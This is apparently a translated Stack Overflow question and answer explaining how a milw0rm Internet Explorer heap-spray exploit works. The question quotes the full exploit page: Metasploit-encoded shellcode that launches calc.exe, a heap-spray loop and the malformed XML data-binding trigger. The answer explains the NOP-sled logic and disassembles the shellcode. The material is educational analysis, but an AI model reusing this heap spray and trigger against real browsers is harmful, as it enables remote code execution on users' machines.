我通常不难阅读JavaScript代码，但对于这一点，我无法弄清楚其逻辑。该代码来自4天前发布的漏洞利用程序。您可以在milw0rm上找到它。
这是代码:
<html>
<div id="replace">x</div>
<script>
// windows/exec - 148 bytes
// http://www.metasploit.com
// Encoder: x86/shikata_ga_nai
// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
// ugly heap spray, the d0nkey way!
// works most of the time
var spray = unescape("%u0a0a%u0a0a");
do {
spray += spray;
} while(spray.length < 0xd0000);
memory = new Array();
for(i = 0; i < 100; i++)
memory[i] = spray + shellcode;
xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://ਊਊ.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";
tag = document.getElementById("replace");
tag.innerHTML = xmlcode;
</script>
</html>
我相信这是可以做的，我希望您能为我误会的部分提供帮助。
变量
shellcode包含用于打开calc.exe的代码。我不知道他们是如何找到那个奇怪的字符串的。任何的想法？第二件事是变量
spray。我不明白这个怪异的循环。第三件事是变量
memory，它从未在任何地方使用。他们为什么创建它？最后一件事:XML标签在页面中做什么？
目前，我有很好的答案，但大多数都是非常笼统的答案。我想对代码的值(value)做更多的解释。一个示例是
unescape("%u0a0a%u0a0a");。这是什么意思？循环也一样:开发人员为什么写:length < 0xd0000？我希望得到更深刻的理解，而不仅仅是这个代码的理论。 最佳答案
Shellcode包含一些x86汇编指令，这些指令将进行实际利用。 spray创建一长串指令，这些指令将放入memory中。由于通常无法找到 shell 程序代码在内存中的确切位置，因此我们在其前面放置了许多nop指令，然后跳转到该位置。 memory数组将保存实际的x86代码以及跳转机制。我们将精心制作的XML馈送到存在错误的库中。对其进行解析时，该错误将导致指令指针寄存器分配到我们利用程序中的某个位置，从而导致任意代码执行。
为了更深入地理解，您实际上应该弄清楚x86代码中的内容。 unscape将用于将字符串表示的字节序列放入spray变量中。这是有效的x86代码，可填充很大一部分堆并跳转到Shellcode的开头。结束条件的原因是脚本引擎的字符串长度限制。字符串长度不能超过特定长度。
在x86程序集中，0a0a表示or cl, [edx]。就我们的利用而言，这实际上等效于nop指令。无论我们跳转到spray的何处，我们都将转到下一条指令，直到到达shellcode，这是我们实际上要执行的代码。
如果您查看XML，也会看到0x0a0a。准确描述发生的情况需要对漏洞利用有特定的了解(您必须知道错误在哪里以及如何利用该漏洞，我不知道)。但是，似乎我们通过将innerHtml设置为该恶意XML字符串来强制Internet Explorer触发错误代码。 Internet Explorer尝试解析它，而错误代码以某种方式将控制权交给了数组所在的内存位置(由于它很大，因此跳转到该位置的可能性很高)。当我们跳到那里时，CPU将继续执行or cl, [edx]指令，直到到达存储在内存中的shellcode的开始为止。
我已经反汇编了shellcode:
00000000 C9 leave
00000001 2B1F sub ebx,[edi]
00000003 B10C mov cl,0xc
00000005 BDC536DB9B mov ebp,0x9bdb36c5
0000000A D9C5 fld st5
0000000C 2474 and al,0x74
0000000E 5A pop edx
0000000F F4 hlt
00000010 EA8331FC0B6A6A jmp 0x6a6a:0xbfc3183
00000017 03D4 add edx,esp
00000019 07 pop es
0000001A 67305CFF xor [si-0x1],bl
0000001E 98 cwde
0000001F BBD7FFA4FE mov ebx,0xfea4ffd7
00000024 9B wait
00000025 74AD jz 0xffffffd4
00000027 058B8B028D add eax,0x8d028b8b
0000002C D893BCCD35A2 fcom dword [ebx+0xa235cdbc]
00000032 37 aaa
00000033 B84290A63A mov eax,0x3aa69042
00000038 94 xchg eax,esp
00000039 E99AA4D58D jmp 0x8dd5a4d8
0000003E E5A3 in eax,0xa3
00000040 1F pop ds
00000041 4C dec esp
00000042 EB46 jmp short 0x8a
00000044 4B dec ebx
00000045 8CD0 mov eax,ss
00000047 AD lodsd
00000048 A844 test al,0x44
0000004A 52 push edx
0000004B 4A dec edx
0000004C 3B81B80DD748 cmp eax,[ecx+0x48d70db8]
00000052 4B dec ebx
00000053 D46C aam 0x6c
00000055 46 inc esi
00000056 1392734A204F adc edx,[edx+0x4f204a73]
0000005C F8 clc
0000005D 6E outsb
0000005E DC8EA20726B4 fmul qword [esi+0xb42607a2]
00000064 04D4 add al,0xd4
00000066 D084ECBA978221 rol byte [esp+ebp*8+0x218297ba],1
0000006D 7CE8 jl 0x57
0000006F C0CA8C ror dl,0x8c
00000072 F4 hlt
00000073 A6 cmpsb
00000074 47 inc edi
00000075 210D2EA0B0CD and [0xcdb0a02e],ecx
0000007B 2CA8 sub al,0xa8
0000007D B05B mov al,0x5b
0000007F 43 inc ebx
00000080 F4 hlt
00000081 24E8 and al,0xe8
00000083 7A9C jpe 0x21
00000085 BB857DCBA0 mov ebx,0xa0cb7d85
0000008A 7DED jnl 0x79
0000008C 92 xchg eax,edx
0000008D 09E1 or ecx,esp
0000008F 96 xchg eax,esi
00000090 315580 xor [ebp-0x80],edx
理解此shellcode需要x86汇编知识和MS库本身的问题(要知道到达此处时系统状态是什么)，而不是JavaScript!该代码将依次执行
calc.exe。关于javascript - milw0rm堆喷漏洞利用如何工作？，我们在Stack Overflow上找到一个类似的问题：https://stackoverflow.com/questions/381171/